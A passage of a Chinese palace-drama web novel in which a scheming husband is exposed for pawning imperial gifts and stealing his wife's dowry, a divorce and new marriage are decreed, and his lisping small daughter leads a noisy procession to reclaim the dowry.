那玉佩通体莹白,雕着如意祥云纹,阳光洒在玉佩上,泛着温润柔和的光,一看就是极品。
全场响起一片倒吸凉气的声音。
“这……这玉,一看就不是凡物啊,”
“这成色,就算宫里也少见!”
“许家还有这等传家宝?”
人群中,庆王妃的脸色瞬间变了。
她猛地扭头
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看向杨婉云,满脸担忧。
淮南王妃也蹙起眉头,下意识往杨婉云身边靠了靠。
那玉佩……
直到的人甚少。
可怎么会在许振山手里?
杨婉云端坐席间,神色淡然。
她看着那枚玉佩,嘴角缓缓扯起一个弧度。
那笑容,很淡,很轻,却带着几分说不清的……讥讽。
看来好戏,要提前登场了!!
许振山跪在地上,感受到周围那些震惊的目光,心里顿时乐开了花。
看吧,世家大族又如何,自己这“传家宝”,照样能把他们镇住。
至于杨婉云,认出来又如何,他们现在还是夫妻。
夫妻一体,她总不会蠢到打自己脸。
他悄悄抬眸,看了一眼杨婉云。
那个女人,正看着他。
那眼神,说不上是愤怒,说不上是震惊,反而带着一种……他看不懂的意味。
许振山心里忽然又升起一丝希望。
她在看他!
她是不是……还念着旧情?
他赶紧理理头发,挤出一个自以为最温和的笑容,冲杨婉云点了点头。
杨婉云收回目光,端起茶盏,轻轻抿了一口。
许振山更高兴了。
只要她还能多看自己几眼,自己就有机会!
他正美滋滋地想着……
“啪!”
一声脆响。
皇后手中的茶盏,狠狠摔在地上。
瓷片崩裂,茶水四溅。
全场瞬间安静下来。
许振山吓得一哆嗦,战战兢兢地抬头,偷偷向上看去……
只见皇后盯着他,目光冷得像淬了冰。
“许振山!”她一字一句,声音就像从牙缝里挤出来似的,“这枚玉佩,你是从何处得来的?”
许振山心里一慌,却强撑着道:“回娘娘,是……是臣祖上传下来的……”
“呵呵,祖上传下来的?”
皇后忽然笑了。
笑得让许振山脊背发凉。
“本宫的祥云佩,什么时候成了你许家的传家宝?”
许振山的脑子,“嗡”的一声炸了。
祥……祥云佩?
第63章 和离
他一脸错愕,猛地看向杨婉云。
而那个女人依旧端坐着,面色平静,仿佛一切都在意料之中。
许振山的脸,瞬间惨白如纸。
“皇后娘娘……皇后娘娘饶命!”他拼命磕头,“臣……臣不知道!臣真的不知道这玉佩是您的!”
“不知道?”皇后冷笑,“那你告诉本宫,这玉佩是怎么到你手里的?”
“是……是……”
许振山张着嘴,一个字都说不出来。
就在这时,外面传来通报声。
“启禀娘娘,京都城最大典当行‘永昌号’的老板求见,说是也想尽绵薄之力,捐赠些财物,另外还有要事要回禀娘娘。”
皇后压下怒气:“宣。”
只见一个中年男子低着头走进来,身后跟着几个小厮,手里捧着几个大匣子。
正是永昌号的掌柜。
他跪下行礼,然后让身后的小厮把匣子打开。
“嘶~~”
匣盖掀开的瞬间,全场再次响起一片倒吸凉气的声音。
金锁、玉如意、赤金头面……满满几大匣子。
天爷啊!
全是御赐之物!!!
皇后脸色骤变:“这些是从哪儿来的?”
掌柜的从怀里掏出几张契据,双手呈上。
“回娘娘,这些都是这半年来,有人陆续拿到小号典当的。小的当时只觉得东西贵重,没多想。”
“后来仔细查看,发现都是御赐之物,吓得赶紧收起来,今日特意带来,请娘娘过目。”
皇后接过契据,一张一张看过去。
每一张上面,都签着一个名字——
许振山。
就在这时,一道明黄的身影从殿外大步走了进来。
众人纷纷跪地**。
皇帝大手一挥,一脸关切的看着皇后。
“怎么了?朕在外面就听见里面动静不小。”
他走到皇后身边,皇后气的一把将这些契据一股脑扔了过来。
皇帝接过那几张契据,扫了一眼,脸色瞬间沉了下来。
“许振山,”他盯着跪在地上瑟瑟发抖的男人,声音冷得像腊月的冰,“这些都是这一年来,朕赐给呦呦的东西。”
“你告诉朕,它们怎么会出现在典当行?”
许振山瘫在地上,浑身抖如筛糠。
“陛……陛下……臣……臣……”
这时。
杨婉云缓缓起身,走到殿前,跪了下来。
“陛下,娘娘,臣妇有话要说。”
皇帝压着怒气:“说。”
“前些日子,臣妇发现库房里丢了三箱嫁妆。”杨婉云声音平静,“这些御赐之物,臣妇一直小心保管在箱子中,与嫁妆放在一起。如今看来……”
杨婉云眼神定定地看着许振山。
在场的所有人,瞬间就明白了。
是许振山,偷的!
他不仅偷了杨婉云的嫁妆,还偷了御赐之物!
关键是,他还敢拿去典当!
皇后气得凤袍一甩,“好!好你个许振山!”
她猛地站起来,厉声道:
“来人,拟旨!”
“许振山,宠妾灭妻,品行不端,偷盗御赐之物,罪大恶极!”
“即日起,准杨婉云与许振山和离!其女许呦呦,由杨婉云独自抚养!”
“另,将许振山之平妻李莲茵,抬为正妻。二人生同衾,死同穴,生生死死,两人都要捆在一起!”
许振山彻底傻了。
和离?
与杨婉云和离?
还要把李莲茵抬为正妻?
那女人刚找回来又跑了!
他上哪儿找去?
许振山满脸的不敢置信,嘴巴哆哆嗦嗦地长着,想为自己申辩几句。
然而,还未等他开口……
皇帝却跟着毫不留情地冷冷下旨:“朕也有旨。”
他扫了一眼跪在地上瑟瑟发抖的许振山,目光满是嫌恶。
“许振山,身为朝廷命官,却宠妾灭妻、德行有亏;偷盗御赐之物、倒卖妻室嫁妆,更是罪无可恕!”
“即日起,革去许振山一切官职,贬为庶人,永不叙用!”
“许氏一族,其三代子孙,不得参加科举,不得入朝为官!”
皇帝每说一句,许振山的脸色就惨白一分。
说到最后,他整个人瘫软在地,面如死灰。
完了!
全完了!!
他许振山,彻底完了!!
许家,也跟着完了!!!
皇帝转向杨婉云,目光柔和下来,语气也多了几分温厚:
“杨氏婉云,虽是商贾出身,却心怀苍生。此番善举,惠及万民,堪为天下妇人表率。朕心甚慰……”
他顿了顿,朗声道:
“即日起,封杨氏为一品诰命夫人,赐金册凤冠,享二品俸禄。”
又看向趴在娘亲怀里、正悄悄冲他竖大拇指
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的小团子,皇帝眉眼间染上笑意。
“其女许呦呦,聪慧过人,福泽深厚,朕甚是喜爱。今特封为安宁郡主,赐永宁郡为封地,享食邑三千户,**罔替!”
此言一出,满殿哗然。
一品诰命!
安宁郡主!
还是有封地,享食邑,这可是正儿八经的郡主啊!
这得是多大的荣耀啊!
杨婉云抱着许呦呦叩首谢恩,眼眶微红。
就在这时,一个高大的身影大步走上前,单膝跪在皇帝面前。
“陛下,臣亦有事要求!”
顾振宇抬起头,目光灼灼且坚定。
“臣求陛下为臣和杨婉云赐婚!”
全场众人:щ(?0?7?7?7?0?7)щ
**!!
这……这也太劲爆了!!
许振山瘫在地上,不敢置信地看着这一幕。
他瞪大眼睛,死死盯着那个跪在殿前的身影——玄甲银袍,身姿如松的镇国大将军。
他可是皇后亲弟,还是皇帝生死之交,亦是京都城多少名门闺秀梦寐以求的良人。
那样高高在上、宛若天之骄子一般的人物,此刻正跪在那里,求娶他的……和离妇?
怎,怎么可能!
一定是他听错了。
顾振宇怎么会看上杨婉云?
她不过是商户女,还嫁过人,生过孩子,如今虽然风光,可说到底也不过是个……
许振山嘴唇哆嗦着,脑子嗡嗡作响。
随即,他挣扎着爬起来,已全然顾不上自己的处境。
“不……不,婉云!婉云你不能嫁给他!你怎么可以带着我们的孩子嫁给他?”
“我……我不同意!坚决不同意!!”
许呦呦气得从娘亲怀里下来,小短腿噔噔噔跑到许振山面前,小手一挥,打断他。
“泥扒同意个屁!”
“窝阔不似泥滴孩子。”
许振山一愣:“什么?”
“泥阔米辣么好滴命。”
“再嗦了……”她歪着头,一脸嫌弃,“窝也不会认贼作父!!”
“那玩意儿,多丢银呐!”
全场一静。
随即,不知是谁没忍住,“噗”地笑出了声。
接着,全场一片哄笑……
许振山脸都绿了。
“滚!”
顾振宇一脚踹在他胸口。
许振山被踹飞出去,重重摔在地上,口吐鲜血。
第64章 当年似谁救了窝凉
皇帝看了他一眼,满脸嫌恶。
“来人,把他拖下去。”
两个侍卫上前,拖着许振山就往外走。
许振山拼命挣扎,眼睛死死盯着杨婉云。
“婉云……婉云,求你原谅我!我错了!我真的错了!”
“你绝不可以嫁给他,我不同意!”
“婉云,咱们重新开始,好不好,我会改的,我以后会对你好的!”
“况且,我们都有孩子啦……”
此时的许振山,已经完全顾不上身在殿中,对着杨婉云大喊大叫。
一名侍卫,眼疾手快地扯下许振山的一截袖子,往他嘴里一塞,“唔唔……我唔唔……”
“等等!!”许呦呦小腿又噔噔噔地跑到许振山面前,小手叉腰,气鼓鼓的。
“窝让泥,屎个明白!”
“将军爹爹,乃,泥嗦,当年似谁救了窝凉?”
全场所有人的目光,齐刷刷落在顾振宇身上。
顾振宇站起身,目光如炬地盯着瘫在地上的许振山,一字一句如惊雷炸响:
“四年前,本将军追击一伙北狄余孽,途经西郊,正撞上那伙歹人行凶。有个女子去城外上香,被贼寇误伤,她的马车也被冲散,车夫当场毙命……”
他顿了顿,声音陡然拔高:
“是本将军拼死救下了她,将她送到医馆门口,就忙着去引开追兵,等回头去找她时,她已经不见了!”
“本将军为此,找了她四年啊!甚至找遍了京城所有医馆!”
他死死盯着许振山,眼中寒光凛冽。
“而你——你一个手无缚鸡之力的穷书生,凭什么救人?”
“你不过是在她醒来时恰好出现在医馆,就敢冒领救命之恩,骗她钱,骗她人,到头来,还带着小妾欺负她!”
全场再次哗然……
“什么?救命之恩是冒领的?”
“这也太不要脸了吧!”
“这踏马的许振山,还是个人吗?”
“我说顾将军怎么这些年死活不娶!原来是在等心仪女子……”
“难怪刚才那么突然地请求赐婚。”
“哇哦,等了四年……四年啊……这深情……”
甚至有夫人感动的红着眼眶,看着面色铁凝的顾将军。
许振山瘫在地上,面如死灰,嘴唇哆嗦着,一个字都说不出来。
皇后缓缓起身,走到杨婉云身边,握住她的手。
“婉云,本宫这个弟弟,找了四年,等了四年,也守了四年。”
“如今真相大白,你可愿意……”
皇后话未说完,顾振宇忽然上前一步,立于杨婉云面前。
他抬起头,目光灼灼,却柔和地溢出水。
“婉云,我……”
他深吸一口气,声音有些发颤。
“我知道你心里有顾虑。你嫁过人,受过伤,怕再走错一步。”
“可我想告诉你——你过去的那些苦,我替你记着;你以后的日子,我替你扛着。”
“呦呦那丫头,我打心眼里喜欢。你若愿意,我们可以不要孩子,她就是我顾振宇唯一的孩子。”
说着,他又从怀里掏出一张纸,双手递到她面前。
杨婉云低头一看,瞬间愣住。
休夫书!!
上面甚至赫然盖着顾振宇的私印。
“这是我给你的承诺。”顾振宇看着她,一字一句,“婉云,若有一天我负了你,或者对你不好,你随时拿出来,休了我。”
“我顾振宇,绝无半句怨言。”
全场死寂。
突然,庆王妃捧着肚子扯着嗓子喊了起来:
“嫁给他!嫁给他……”
吓得庆王赶紧起身,拖住她。
淮南王妃也跟着喊:“嫁给他!嫁给他……”
周围的命妇们被这气氛感染,也跟着起哄:
“嫁给他……嫁给他……”
“嫁给他……嫁给他……”
保和殿内,欢快的喊嫁声,震耳欲聋。
顾振宇紧张得手心都是汗,眼巴巴地盯着她,大气都不敢出。
杨婉云的脸,瞬间红到了耳根。
她低着头,手指绞着帕子,不敢看任何人。
此刻,
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她的脑海里闪过无数画面——他浴血相救的背影,四年后重逢时手足无措的模样,雪崩前用后背护住呦呦的决绝,还有每次见她一面低声下气的笨拙……
他从未说过自己做了什么,可做的每一件事都是为了她。
等了四年,找了四年,守了四年。
就是这么个笨拙的男人,却把一颗心完完整整捧到了她面前。
片刻。
杨婉云终于抬起头,看了顾振宇一眼。
眼神中含着泪,带着笑,还有几分说不清的羞涩。
接着,她轻轻点了点头。
顾振宇愣了一瞬。
随即,他猛地蹦起来,狂喜得跟个傻子,激动拉着皇帝和皇后在原地转了两圈。
“姐,她答应了!她答应了呀!”
“姐夫,她答应了!她答应了哦!”
皇帝捂着脸,不忍直视。
皇后也笑了,笑着笑着,眼眶又红了。
许呦呦这才满意地点点头,转身看向许振山。
而此刻的许振山,被两个侍卫架着,整个人像一滩烂泥,面如死灰,泪水和血水糊了一脸,狼狈不堪。
许呦呦小手叉腰,仰着小脸,一字一句地开骂:
“泥,屎不要脸滴!”
“虾米都偷,偷银钱,偷功劳,偷完嫁妆偷御宝;借印子,赌大博,裤衩都给泥输米了!”
“泥除了一张屎嘴,会画画大饼,泥还会虾米?”
“呸!就介还想次软饭?还想次绝户?”
“泥,想屁次呀!!”
小姑娘越说越气,小胸脯一起一伏。
“要不似泥,窝将军爹爹和窝凉,早就在一块儿了!”
“哪还能让泥沾介便宜!”
“泥耽误窝凉三年,耽误窝将军爹爹四年,耽误窝——”
她顿了顿,掰着小手算了算,没算明白。
“反正,也耽误窝老长时间了……”
“哼!窝……窝要报仇!!”
说着就要往前冲,被冬梅一把捞了起来,抱在怀中,可她的小手小脚,依然奶凶十足地在空中飞舞。
第65章 辣泥阔有滴玩啦
皇帝冲着下面挥了挥手,“将这晦气玩意,拖下去,别在这儿碍眼。”
两个侍卫架起许振山,像拖一条死狗似的往外拽。
他嘴里塞着破布,只能发出“唔唔”的声音,双眼血红却死死盯着杨婉云的方向。
顾振宇将杨婉云挡在身后,两根手指戳戳自己的眼睛,又比画了一下许振山的眼睛。
警告的意味不言而喻……
转息之间。
保和殿内,气氛又热烈起来。
“恭喜顾将军!恭喜杨夫人!”
“不对不对,马上该叫顾夫人了!”
“哎哟,这郎才女貌的,看着就般配!”
“最重要的是,顾将军的一片深情,真是感天动地啊……”
庆王妃挺着肚子挤过来,一把拉住杨婉云的手:“婉云,你可算想通了!我还怕你不答应呢,顾振宇这小子,看着离谱,实际上靠谱得很,你带着呦呦嫁给他,我也放心。”
“再说了,若是以后顾振宇真敢欺负你,你跟我说,我让庆王收拾他!”
一旁小心翼翼护着她的庆王,弱弱地举手:“夫人,我……我打不过他……”
淮南王妃,转头嫌弃地白了他一眼。
众人哄堂大笑。
淮南王妃也笑着上前,拉着杨婉云说了好些体己话。
一时间,保和殿内欢声笑语,热闹非凡。
很快,捐赠活动结束,天色已暗。
顾振宇亲自驾着马车,护送杨婉云母女回府。
马车驶出宫门,刚拐过一道弯,就看见路边躺着一个人影。
许振山被人扔在宫墙根下,浑身狼狈不堪,苟延残喘。
看见马车过来,他像疯了一样爬起来,扑到路中间。
顾振宇眉头一皱,勒住缰绳。
许振山跪在地上膝行至马车旁,涕泪横流。
“婉云,你不能嫁给他,你我是拜过夫妻的,我们还有一个孩子啊……”
马车里一片寂静,毫无反应。
“婉云,我知道我错了,可咱们好歹夫妻一场,你不能这么绝情啊!”
“你不要被他骗了,他一个大将军,能真心对你吗?你不过是个和离过的……”
“滚开!”
车帘掀开,杨婉云探出头来,目光冰冷。
许振山一愣,随即脸上挤出讨好的笑:“婉云,你终于肯看我了……”
杨婉云直接气笑了,“看你?我是看你怎么还没死。”
许振山的笑容僵在脸上。
下一瞬,他脸色骤变,索性破罐子破摔,破口大骂:
“好好好,杨婉云,你这个不守妇道的**!我就知道,你早跟那个姓顾的勾搭在一起了!”
“难怪急着要和离,难怪搬出去住,你们早就暗通款曲——”
“砰!”
一个麻袋从天而降,把他整个人罩了进去。
紧接着,暴揍如雨点般砸下。
“唔唔……救命……救命啊……**啦!”
顾振宇一脚一脚踹在麻袋上,踹得那叫一个酣畅淋漓。
“杀你?那真是脏了本将军的手。”
砰砰砰!
“本将军说过,”
砰砰砰!
“以后见你一次,”
砰砰砰!
“打你一次!”
砰砰砰!
“不死不休!”
砰砰砰!
许振山在麻袋里嗷嗷惨叫,直到声音越来越弱……
许呦呦趴在车窗上,看得津津有味,小嘴咧得老开。
“哎呀,辣泥阔有滴玩啦!”
她冲麻袋方向挥挥小手,奶声奶气地补了一句:
“毕竟窝将军爹爹滴命,阔长啦!”
顾振宇又补了几脚,终于解气了。
他拍拍手,翻身上马,驾着马车扬长而去。
身后,只剩下一个鼓囊囊的麻袋,缓缓在地上蠕动,还有若有若无的哀嚎声。
马车很快到达杨府门口。
杨婉云抱着呦呦下了车,顾振宇也跳下马,亦步亦趋地跟在后面。
走到门口,他停住了。
眼巴巴地看着杨婉云。
杨婉云回头看他:“你……你还有事?”
顾振宇挠挠头,嘿嘿笑了两声:“那个……天色不早了,我……”
“嗯?”
“我……我有点渴……”
杨婉云微皱。
“还有点饿……”
杨婉云眉头彻底皱了起来。
“那个……要不……我进去喝杯茶?”
顾振宇眼巴巴地看着她,就差长个尾巴冲她摇一摇。
杨婉云的脸,腾地红了。
这人,怎么这么厚脸
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皮!
许呦呦趴在娘亲肩上,幸灾乐祸地捂着小嘴:“爹爹,泥似不似还想住介里?”
顾振宇疯狂点头,眼里都是对贴心闺女的赞赏。
杨婉云羞得不行,狠狠踩了他一脚。
“哎哟!”顾振宇抱着脚跳起来,脸上却笑开了花,“不疼不疼,踩的真好!踩得真秒!”
杨婉云:……
她抱起呦呦,头也不回地进了府门。
“砰”的一声,大门关上。
顾振宇站在门外,抱着那只被踩的脚,傻笑了半天。
然后,一瘸一拐地走了……
第二日。
天刚蒙蒙亮,许呦呦就从床上爬了起来。
冬梅进来,看见已经穿戴整齐的小主子,吓得揉了揉自己的眼睛,只以为自己看花眼了。
“小郡主?您……您怎么起这么早?”
要知道,平日里让这位小祖宗早起,那简直是要了她的命。
今日,这是太阳打西边出来了?
许呦呦却一脸兴奋,头上的小揪揪都透着股欢快的精神气。
“冬梅姐姐,肘肘肘!咱们要钱去!”
“要钱?”冬梅一愣,“要什么钱?”
“许振山啊!”小家伙理直气壮,“辣可都似窝凉滴嫁妆!窝凉滴钱!将来,也似窝滴钱!”
她着急地连早膳都顾不上,一把抓起几块糕点,胡乱往嘴里塞了几块,鼓着腮帮子就往外跑。
边跑,边回头冲正屋的方向喊:
“凉,窝去干大使去咧”
“泥放心!窝绝不让泥次一个铜板滴亏!”
冬梅跟在身后,不知所措地看着杨婉云。
“去吧,你只别让她吃亏就行,哎,还是算了,她也吃不了亏。”杨婉云冲着冬梅摆摆手。
冬梅赶紧跟上。
门口,已经候着一群人。
刘嬷嬷一听小小姐要带人去拿回夫人的嫁妆,赶紧招呼着几个家丁,还有秋香也领着几个账房先生,浩浩荡荡,气势十足。
许呦呦小手一挥,奶声奶气的吩咐:
“冬梅姐姐,再给窝叫几个吹吹打打滴人,还要一个嗓门大大滴说书先森!”
冬梅嘴角抽了抽,但还是麻利地去办了。
一刻钟后,朱雀大街上出现了一支奇特的队伍——
第66章 开门开门开门呐
最前面,一个粉雕玉琢的小团子双手插兜,小脑袋昂得高高的,两个小揪揪迎风招展,活脱脱就像一只骄傲的大鹅。
在她身后,吹锣打鼓的班子敲得震天响,“咚咚锵锵咚咚锵”,好不热闹。
再后面,一个嗓门贼大的说书先生,跟着锣鼓的节奏,抑扬顿挫的开讲:
列位看官,静听分说!有道是‘画虎画皮难画骨,知人知面不知心!今儿个,咱就扒一扒这许振山的画皮!
“咚咚锵!”
“话说那许振山,真是个白眼狼!当年穷得叮当响,靠着冒领杨家小姐救命之恩,骗财骗色当新郎!”
“咚咚锵!”
“谁曾想,得势之后翻脸快,宠妾灭妻丧天良!把小妾当个宝,把正妻扔过墙!”
“咚咚锵!”
“偷嫁妆,借印子,赌坊输得精光光!还敢偷御赐之物去典当,真是吃了熊心豹子胆,无法无天太猖狂!”
“咚咚锵锵咚咚锵!”
围观群众越聚越多,听得津津有味,不少人还自发跟在队伍后面,声势大了起来。
“哎呦,这许振山的好戏又要上演了!”
“走走走,快跟上去看看热闹,我这几天快闷**,就缺这一口呢……”
于是,这支队伍浩浩荡荡,从朱雀大街出发,一路敲敲打打,招摇过市。
许呦呦站在队伍最前面,每到一个巷口,她就小手一挥,说书先生立刻扯开嗓门开讲,锣鼓点“咚咚锵”配合得天衣无缝。
东平巷——讲一遍。
西斜街——再讲一遍。
柳树胡同——又讲一遍。
……
整个京都城,大街小巷,一个都没放过。
所到之处,围观群众跟在后头像滚雪球似的,越聚越多,越拉越长。
有小孩子学着许呦呦的样子双手插兜,有吃瓜婆子嗑着瓜子听得入神,还有机灵小贩趁机挑着担子跟队伍叫卖。
许呦呦回头瞅了一眼,小嘴咧得老开:“好好好,窝就稀饭热闹,越热闹,就越有意思咧……”
而说书先生嗓子都冒烟了,锣鼓班子手也酸了,但一个个红光满面——小郡主赏钱给得足啊!
等队伍拐进许府所在的巷子时,后面已经跟了乌泱泱大几百号人,把整条巷子堵得水泄不通。
许呦呦走到许府大门前,小手叉腰,深吸一口气——
“开门呐!快开门呐!”
“许振山,泥别躲在里面扒出声,窝几道泥在家!”
“泥有本事偷东西,肿么米本事开门啊!”
“开门呐!开门开门开门呐……”
奶凶奶凶的吼声,萌得身后一群婶子们心都化了。
“哎哟,这小郡主,简直太可爱了!”
“骂人都骂的人心窝窝暖暖的!”
“你就说,这许振山怎么眼睛就瞎到这种程度,这么好的闺女,还是个郡主,泼天的富贵,他亲手撕毁了……”
有人激动,有人叹息,有人心疼……
冬梅看着自家小主子吼得小脸通红,实在不忍心,上前就是一脚。
“砰——!”
大门应声而开。
院子里,许振山一瘸一拐地站在那儿,惊讶地看着门口黑压压的人群,震惊得嘴巴张得能塞下一个鸡蛋。
“你……你们……”
话还没说完——
“啪!”
一个臭鸡蛋精准地糊在他脸上。
“砸他!”
“砸死这个不要脸的!”
一瞬间。
烂菜叶、臭鸡蛋、小石子铺天盖地砸过去,许振山被砸得抱头鼠窜,狼狈不堪。
“呸!畜生!”
“活该!让他欺负妻女!”
“打死这个软饭男,白眼狼!”
许振山缩在墙角,浑身挂满了烂菜叶子,青紫的脸上,更是狼狈。
许呦呦挥挥小手,示意大家停下。
“谢谢各位婶纸们、伯伯们滴热心!”
她奶声奶气地跟大家道谢,然后扭头吩咐:
“冬梅姐姐,泥把大家滴损失记下乃,肥头让他们去杨府领赔偿!”
“今日窝来,就似要拿回窝凉滴嫁妆!”
冬梅点头,拿出嫁妆单子。
许呦呦小手一挥:“刘嬷嬷,带银进去搬,一滴都扒许剩!让账房伯伯,好好算算呦!”
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刘嬷嬷带着杨府家丁直奔以前的库房,动作迅捷又麻利。
账房先生们跟在后面,清点、记账、折算,动作更是一气呵成。
许呦呦不知从哪儿搬来一张小破椅子,往院子中央一坐,翘起小二郎腿,小脚丫一点一点地,活像个滑稽的小掌柜。
半个时辰后,账房先生上前禀报:
“小郡主,清点完毕。库房现存财物折算约三千两,被盗三箱嫁妆折合八千两,加上这些年的亏空利息,许府共欠杨夫人一万二千两。”
“这个宅子当初是夫人置办,目前估值大概三千两,加起来一共欠款一万五千两!”
许呦呦点点头,小脚丫晃得更欢了。
就在这时,屋里传来一阵骂骂咧咧的声音。
许老夫人扶着许清烟,颤颤巍巍地走了出来。
许清烟脸色蜡黄,瘦得皮包骨头,看见许呦呦,眼睛瞬间瞪得跟骷髅洞似的。
“你……你这个小**!你带这么多人来干什么?”
许老夫人也指着许呦呦的鼻子骂:“不肖子孙!你娘那个贱妇教出来的小贱种!连自家爹爹祖母都敢欺负,还有没有王法了!”
“我们可是你亲祖母、亲姑姑!你这是要逼死我们啦!”
“你这个小**啊,枉顾亲情,是要遭天打雷劈的……”
“轰!!”
老太太话还未说完,一道惊雷宛若晴天霹雳,直直劈向她。
接着又恢复了晴空**。
惊雷:你这是要害死我啊,死老太婆,你说什么不好,非得拉上我……
而一脸震惊的人群,瞬间炸了。
“哎呦,亲娘咧,看看看看,遭雷劈了吧?这连老天爷都看不下去了呀。”
“什么玩意儿!自己儿子干的好事,还有脸在这骂孩子?”
“老不死的!你儿子偷人家嫁妆,宠妾灭妻的时候,你怎么不骂他枉顾亲情?”
“还有那个病秧子,听说当年欺负杨夫人最凶的就是她!”
“呸!一家子白眼狼!”
烂菜叶子瞬间换了方向,劈头盖脸朝满脸黑焦的许老夫人和许清烟砸去。
第67章 免费牢饭,次到屎
此时的许老夫人,直挺挺地站在原地,头发根根竖起,脸黑得像锅底,嘴里还往外冒着一缕缕青烟。
她张了张嘴,想骂点什么,结果“噗”地吐出一口黑气,整个人摇摇晃晃,跟个烧焦的木桩似的。
许清烟吓得尖叫一声,想伸手去扶,刚碰到老太太的袖子——“刺啦”,袖子直接碎成黑灰飘落。
老太太低头看看自己的手,又看看满地的烂菜叶子,两眼一翻,直挺挺往后倒去。
“砰!”
砸在地上,还冒烟。
“啊——!”
满脸烂菜叶子的许清烟,吓得尖叫连连,本来就虚弱的身体哪经得起这个折腾,跟着两眼一翻,“咚”的一声倒在地上,也晕了过去。
许呦呦拍拍小手,从椅子上跳下来,拿着欠条,迈着小短腿走到许振山面前。
许振山缩在墙角,浑身烂菜叶子,狼狈得瑟瑟发抖。
看见许呦呦过来,他眼睛一亮,挤出比哭还难看的笑,颤颤巍巍地伸出手:
“呦呦……乖女儿……爹的好闺女……”
他爬着往前艰难地挪了两步,眼泪鼻涕糊了一脸:
“你……你看在爹生你一场的份上……饶了爹这一回吧……爹知道错了……真的知道错了……”
“只要你肯原谅爹,让爹做什么都行!咱们……咱们可是亲父女啊!血浓于水,你身上流着爹的血啊!”
许呦呦气得小拳头勒的紧紧的,“呸!泥还在做泥滴白日梦啦!”
“臭扒要脸,认贼作父,泥介似要害屎窝呀!”
“乃吧,把介个签了,窝就带银走。不然,直接送泥去次免费牢饭!”
小家伙说完,将手里的欠条,砸到他脚边。
许振山盯着脚边的欠条,像盯着一道催命符。
“呦呦……你当真如你娘一般残忍?”
他声音抖得像筛糠,眼睛里还残存着最后一丝侥幸。
“好扒,冬梅姐姐,送他肘扒,大理寺,包次包住还有亮手镯,都似免费滴,对他乃嗦,合适滴很!”
许呦呦小下巴一扬,两个小揪揪随着动作一颤一颤。
许振山浑身一哆嗦。
大理寺那地方,进去容易出来难。
他这种罪名人赃并获,不死也得脱层皮。
他颤颤巍巍捡起欠条,像捡起一块烧红的烙铁,又颤颤巍巍看向许呦呦,艰难地挤着笑脸:
“可……可一万五千两……爹就是砸锅卖铁、把我卖了也凑不出来啊……”
许呦呦眨眨眼,一脸天真无邪:
“那似泥滴事,寄几造孽,寄几偿!”
许振山哑口无言。
他咬着后槽牙,哆嗦着手,在欠条上歪歪扭扭签下自己的名字,又按了个血红的指印,鲜艳又夺目。
许呦呦接过欠条,满意地点点头,把欠条小心折好,贴着心口的位置揣进怀里,还拍了拍。
“这扒就对辣了嘛。”
她拍拍小手,居高临下地看着瘫在地上的许振山:
“记着呀,给泥五天时间。五天之内,把银子送给窝。扒然——”
小家伙笑得眉眼弯弯,两个小揪揪在阳光下摇曳,嘴里吐出的话却让人透心凉:
“免费牢饭,次到屎……”
说完,她转身就走,小短腿迈得虎虎生风,大摇大摆地往门口走去。
这背影,活像一只打了胜仗、骄傲得恨不得立马开屏的小孔雀。
而身后的许振山瘫在墙角,身上从头到尾,每一块好地儿,正双目涣散地看着她远去的小小背影。
门口的人群自动让开一条道,一个个眼睛亮得像点了灯,齐刷刷看着这个小团子。
许呦呦走到门口,突然停下来,回头冲大家拱拱小手,奶声奶气地喊道:
“谢谢各位婶纸伯伯们,今天来帮忙滴损失,冬梅姐姐都记下啦,肥头去杨府领赔偿哈!双倍滴!”
“哎哟!小郡主这话可就见外了!”
一个膀大腰圆的婶子第一个跳出来,拍着胸脯往前一站,“小郡主,您放一百个心!”
“从今儿开始,我就在他家门口摆摊卖豆腐!我家那口子做豆腐,我卖豆腐,轮班倒,一天十二个时辰,眼睛都不带眨的,他许振山就是变成苍蝇飞出去,我也给他拍下来!”
“对对对!”
一个瘦高个的婆子挤开人群冲出来,手里还攥着刚才咳的瓜子:
“那我就到后门去摆烂!我啥也不卖,就坐那儿嗑瓜子,他要敢从
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后门溜,我这瓜子皮就糊他脸上!”
“还有我还有我!”
一个挑着糖葫芦担子的小贩挤得满头大汗,好不容易探出个脑袋,嘿嘿笑着:
“小人本来就走街串巷卖糖葫芦,在哪儿都是窜!从今儿起,我就绕着这宅子转圈!前门后门,左墙右墙,我给他画着圈儿盯!一只蚂蚁爬出去我都给您记着是公是母!”
“我也来!”
“也算我一个!”
“这种白眼狼,可不能让他跑了……”
人群彻底沸腾了,一个个义愤填膺,摩拳擦掌,七嘴八舌地**。
那架势,不知道的还以为这是要组团攻打许府。
许呦呦搓着小手,眯起眼睛笑得更是萌人:
“哎呀,这肿么好意思捏?”
她小手一招,颇有几分指点江山的气势:
“冬梅姐姐,快——把大家滴名字都记下乃,肥头按误工费给银家算钱。”
“别别别!”
“使不得使不得!”
“小郡主,我们自发自愿的!要钱那还是人吗?”
“对!自发自愿!”
众人连连摆手,脑袋摇得像拨浪鼓,有几个激动得脸都红了,好像谁再提给钱就跟谁急。
许呦呦小脸一正,难得露出几分认真的神色:
“那扒行。窝凉亲嗦了,扒能欠银银情。别银帮了窝,窝就得记着,就得肥报。”
众人一愣,随即纷纷感慨:
“哎呀我的天,杨夫人这教育,真是没的说!”
“怪不得小郡主这么懂事,原来是人家娘教得好啊!”
“就是就是,看看许家那一窝白眼狼,再看看杨夫人和小郡主——真是一个天上,一个地下,根本没法比!”
“可不是嘛!许振山那种人,活该众叛亲离,不得好死。”
许呦呦被夸得小脸微红,不好意思地摸摸鼻子,又冲大家拱拱手:
“那窝就先肥去辣,泥们也都肥去吧,肥头一定记得去杨府领钱哈!”
说完,她揣着怀里那张沉甸甸的欠条,领着冬梅和一众家丁,雄赳赳气昂昂地走了。
身后的冬梅:(+_+)?
小郡主,您倒是义气了,就是这银子,夫人知道吗?
第68章 野懂,窝来看泥辣
不消一刻,众人稀稀拉拉地散去,
许呦呦又打发了刘嬷嬷等人先回府,自己却带着冬梅,拐了个弯,晃晃悠悠往城外走。
冬梅跟在后面,一脸懵逼,终于憋不住问道:
“小郡主,咱这是要去哪儿啊?天都快黑了,夫人会担心的。”
许呦呦回头看了她一眼,笑得一脸的高深莫测,“当然似去继续算账呀。”
“算账?”冬梅一愣,指着许府的方向,“不是刚算完吗?一万五千两,欠条都签了!”
“那只似一部分,”许呦呦神奇十足地指着前方,“还有一笔账,还米算完呢。”
冬梅:(⊙o⊙)
好吧,你说咋干咱就咋干,反正主打一个不吃亏!
冬梅反手将呦呦抱了起来,轻功点起,闪身飞跃,几息之间,便到了城外一座破庙前。
